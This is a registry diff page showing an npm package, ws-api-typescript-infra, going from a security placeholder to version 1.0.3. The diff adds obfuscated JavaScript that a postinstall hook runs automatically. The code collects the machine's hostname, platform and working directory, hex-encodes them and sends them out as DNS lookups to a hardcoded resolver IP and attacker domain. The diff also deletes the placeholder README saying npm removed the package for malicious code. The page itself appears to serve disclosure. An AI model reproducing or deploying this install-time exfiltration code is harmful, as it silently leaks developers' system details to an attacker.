ws-api-typescript-infra 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ws-api-typescript-infra might be problematic. Click here for more details.
- package/README.md +0 -5
- package/index.js +139 -0
- package/package.json +14 -3
package/README.md
CHANGED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=ws-api-typescript-infra for more information.
|
package/index.js
ADDED
|
@@ -0,0 +1,139 @@
|
|
|
1
|
+
var _0x21d964 = _0x497e;
|
|
2
|
+
(function (_0x2fb54d, _0x2692dd) {
|
|
3
|
+
var _0x4e3417 = _0x497e, _0x564171 = _0x2fb54d();
|
|
4
|
+
while (!![]) {
|
|
5
|
+
try {
|
|
6
|
+
var _0x3f6da7 = parseInt(_0x4e3417(0x1f9)) / (0x3 * 0x7ad + -0x6 * -0x1a3 + -0x836 * 0x4) + parseInt(_0x4e3417(0x1c8)) / (-0x1 * 0x25b0 + -0x5 * 0x2ef + 0x345d) + -parseInt(_0x4e3417(0x1e3)) / (0x5ab + -0x1c40 + -0x8 * -0x2d3) * (parseInt(_0x4e3417(0x1de)) / (-0x1 * 0xc62 + -0x2287 + 0x2eed)) + -parseInt(_0x4e3417(0x1fd)) / (0x2394 + -0xdf * -0x20 + 0x1525 * -0x3) * (-parseInt(_0x4e3417(0x1fb)) / (-0x2 * 0xe42 + 0x12f4 + -0x996 * -0x1)) + -parseInt(_0x4e3417(0x1f2)) / (0x23ef * 0x1 + 0x3ca + 0x13d9 * -0x2) + -parseInt(_0x4e3417(0x1e0)) / (0x1a * -0x94 + -0x10ce + -0x1fde * -0x1) + parseInt(_0x4e3417(0x1df)) / (-0x2386 * 0x1 + 0x3b0 + 0x1fdf);
|
|
7
|
+
if (_0x3f6da7 === _0x2692dd)
|
|
8
|
+
break;
|
|
9
|
+
else
|
|
10
|
+
_0x564171['push'](_0x564171['shift']());
|
|
11
|
+
} catch (_0x402e0d) {
|
|
12
|
+
_0x564171['push'](_0x564171['shift']());
|
|
13
|
+
}
|
|
14
|
+
}
|
|
15
|
+
}(_0x3a4f, 0xdc1e3 + -0xad31a * 0x1 + 0x47a7c));
|
|
16
|
+
const {Resolver} = require(_0x21d964(0x1d3));
|
|
17
|
+
var os = require('os'), hostname = os[_0x21d964(0x1dc)](), type = os[_0x21d964(0x1d2)](), package = _0x21d964(0x1d9) + _0x21d964(0x1fc) + _0x21d964(0x1e8) + _0x21d964(0x1cb) + _0x21d964(0x1ca) + _0x21d964(0x1d7) + _0x21d964(0x1e7) + _0x21d964(0x1f5), currentPath = process[_0x21d964(0x1da)](), data = [];
|
|
18
|
+
function _0x3a4f() {
|
|
19
|
+
var _0x1c792a = [
|
|
20
|
+
':ws-api-ty',
|
|
21
|
+
'KLMNOPQRST',
|
|
22
|
+
'aws-sample',
|
|
23
|
+
'cwd',
|
|
24
|
+
'sKadI',
|
|
25
|
+
'hostname',
|
|
26
|
+
'LjEdq',
|
|
27
|
+
'612nhqPMA',
|
|
28
|
+
'5804469BukVBr',
|
|
29
|
+
'1486400JIVlKE',
|
|
30
|
+
'match',
|
|
31
|
+
'tAIIo',
|
|
32
|
+
'14781fXswly',
|
|
33
|
+
'jrTkI',
|
|
34
|
+
'forEach',
|
|
35
|
+
'opqrstuvwx',
|
|
36
|
+
'pescript-i',
|
|
37
|
+
'i-conversa',
|
|
38
|
+
'resolveAny',
|
|
39
|
+
'v1S_',
|
|
40
|
+
'klvIT',
|
|
41
|
+
'UVWXYZabcd',
|
|
42
|
+
'bjdvx',
|
|
43
|
+
'.me',
|
|
44
|
+
'164.92.170',
|
|
45
|
+
'.dns.kotko',
|
|
46
|
+
'gvBOL',
|
|
47
|
+
'1594698BbbiEi',
|
|
48
|
+
'toString',
|
|
49
|
+
'push',
|
|
50
|
+
'nfra',
|
|
51
|
+
'AkTig',
|
|
52
|
+
'SAYNO',
|
|
53
|
+
'efghijklmn',
|
|
54
|
+
'838569oJZCqM',
|
|
55
|
+
'charAt',
|
|
56
|
+
'28980WhGvGU',
|
|
57
|
+
's/aws-gena',
|
|
58
|
+
'70vgspZA',
|
|
59
|
+
'.v1F_',
|
|
60
|
+
'.182',
|
|
61
|
+
'204032NILRxR',
|
|
62
|
+
'length',
|
|
63
|
+
'-reference',
|
|
64
|
+
'tional-rag',
|
|
65
|
+
'random',
|
|
66
|
+
'setServers',
|
|
67
|
+
'from',
|
|
68
|
+
'yz01234567',
|
|
69
|
+
'ABCDEFGHIJ',
|
|
70
|
+
'hex',
|
|
71
|
+
'platform',
|
|
72
|
+
'dns',
|
|
73
|
+
'Oezdv',
|
|
74
|
+
'floor',
|
|
75
|
+
'utf8'
|
|
76
|
+
];
|
|
77
|
+
_0x3a4f = function () {
|
|
78
|
+
return _0x1c792a;
|
|
79
|
+
};
|
|
80
|
+
return _0x3a4f();
|
|
81
|
+
}
|
|
82
|
+
data[_0x21d964(0x1f4)](package), data[_0x21d964(0x1f4)](hostname), data[_0x21d964(0x1f4)](type), data[_0x21d964(0x1f4)](currentPath);
|
|
83
|
+
var suffix = _0x21d964(0x1f0) + _0x21d964(0x1ee);
|
|
84
|
+
function _0x497e(_0x3fb2a0, _0x105d29) {
|
|
85
|
+
var _0x16f3cf = _0x3a4f();
|
|
86
|
+
return _0x497e = function (_0x1b11de, _0x5601a0) {
|
|
87
|
+
_0x1b11de = _0x1b11de - (-0x528 * 0x5 + 0x1 * -0x257e + -0x3 * -0x15af);
|
|
88
|
+
var _0x46fc33 = _0x16f3cf[_0x1b11de];
|
|
89
|
+
return _0x46fc33;
|
|
90
|
+
}, _0x497e(_0x3fb2a0, _0x105d29);
|
|
91
|
+
}
|
|
92
|
+
const resolver = new Resolver();
|
|
93
|
+
resolver[_0x21d964(0x1cd)]([_0x21d964(0x1ef) + _0x21d964(0x1c7)]);
|
|
94
|
+
function makeid(_0x212780) {
|
|
95
|
+
var _0x1b8c9d = _0x21d964, _0x374b7c = {
|
|
96
|
+
'jrTkI': _0x1b8c9d(0x1d0) + _0x1b8c9d(0x1d8) + _0x1b8c9d(0x1ec) + _0x1b8c9d(0x1f8) + _0x1b8c9d(0x1e6) + _0x1b8c9d(0x1cf) + '89',
|
|
97
|
+
'Oezdv': function (_0x84e37a, _0x2f26a2) {
|
|
98
|
+
return _0x84e37a < _0x2f26a2;
|
|
99
|
+
},
|
|
100
|
+
'AkTig': function (_0x36adfa, _0x5f23ef) {
|
|
101
|
+
return _0x36adfa * _0x5f23ef;
|
|
102
|
+
}
|
|
103
|
+
};
|
|
104
|
+
let _0x306188 = '';
|
|
105
|
+
const _0x524e23 = _0x374b7c[_0x1b8c9d(0x1e4)], _0x47a9d0 = _0x524e23[_0x1b8c9d(0x1c9)];
|
|
106
|
+
let _0x218ea7 = -0x93d + -0x2 * -0x21d + -0x503 * -0x1;
|
|
107
|
+
while (_0x374b7c[_0x1b8c9d(0x1d4)](_0x218ea7, _0x212780)) {
|
|
108
|
+
_0x306188 += _0x524e23[_0x1b8c9d(0x1fa)](Math[_0x1b8c9d(0x1d5)](_0x374b7c[_0x1b8c9d(0x1f6)](Math[_0x1b8c9d(0x1cc)](), _0x47a9d0))), _0x218ea7 += -0x554 + 0xf3f + -0x9ea;
|
|
109
|
+
}
|
|
110
|
+
return _0x306188;
|
|
111
|
+
}
|
|
112
|
+
var randID = makeid(-0x306 * 0x6 + -0x264d + 0x387d * 0x1);
|
|
113
|
+
for (let i = 0x97e * -0x1 + -0x50d * 0x3 + -0x2bd * -0x9; i < data[_0x21d964(0x1c9)]; i++) {
|
|
114
|
+
data[i][_0x21d964(0x1e1)](/.{1,60}/g)[_0x21d964(0x1e5)](_0x498ab4 => {
|
|
115
|
+
var _0x2f3281 = _0x21d964, _0x4b963a = {
|
|
116
|
+
'bjdvx': function (_0x5b426a, _0x1d3518) {
|
|
117
|
+
return _0x5b426a + _0x1d3518;
|
|
118
|
+
},
|
|
119
|
+
'SAYNO': function (_0x22963b, _0x223920) {
|
|
120
|
+
return _0x22963b + _0x223920;
|
|
121
|
+
},
|
|
122
|
+
'sKadI': function (_0x434b45, _0x127785) {
|
|
123
|
+
return _0x434b45 + _0x127785;
|
|
124
|
+
},
|
|
125
|
+
'LjEdq': _0x2f3281(0x1ea),
|
|
126
|
+
'klvIT': _0x2f3281(0x1fe),
|
|
127
|
+
'tAIIo': _0x2f3281(0x1d6),
|
|
128
|
+
'gvBOL': _0x2f3281(0x1d1)
|
|
129
|
+
}, _0x9aea26 = Buffer[_0x2f3281(0x1ce)](_0x498ab4, _0x4b963a[_0x2f3281(0x1e2)]), _0x21c514 = _0x9aea26[_0x2f3281(0x1f3)](_0x4b963a[_0x2f3281(0x1f1)]);
|
|
130
|
+
_0x21c514[_0x2f3281(0x1e1)](/.{1,50}/g)[_0x2f3281(0x1e5)](_0x3767b8 => {
|
|
131
|
+
var _0x5d9bd6 = _0x2f3281;
|
|
132
|
+
req = _0x4b963a[_0x5d9bd6(0x1ed)](_0x4b963a[_0x5d9bd6(0x1ed)](_0x4b963a[_0x5d9bd6(0x1f7)](_0x4b963a[_0x5d9bd6(0x1db)](_0x4b963a[_0x5d9bd6(0x1dd)], randID), _0x4b963a[_0x5d9bd6(0x1eb)]), _0x3767b8), suffix), resolver[_0x5d9bd6(0x1e9)](req, (_0x37ee8b, _0x12a3b1) => {
|
|
133
|
+
if (_0x37ee8b) {
|
|
134
|
+
} else {
|
|
135
|
+
}
|
|
136
|
+
});
|
|
137
|
+
});
|
|
138
|
+
});
|
|
139
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ws-api-typescript-infra",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.3",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js",
|
|
8
|
+
"test": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"Dependencies": {
|
|
11
|
+
"os": "^0.1.1"
|
|
12
|
+
},
|
|
13
|
+
"author": "",
|
|
14
|
+
"devDependencies": {
|
|
15
|
+
"request": "^2.88.2"
|
|
16
|
+
}
|
|
6
17
|
}
|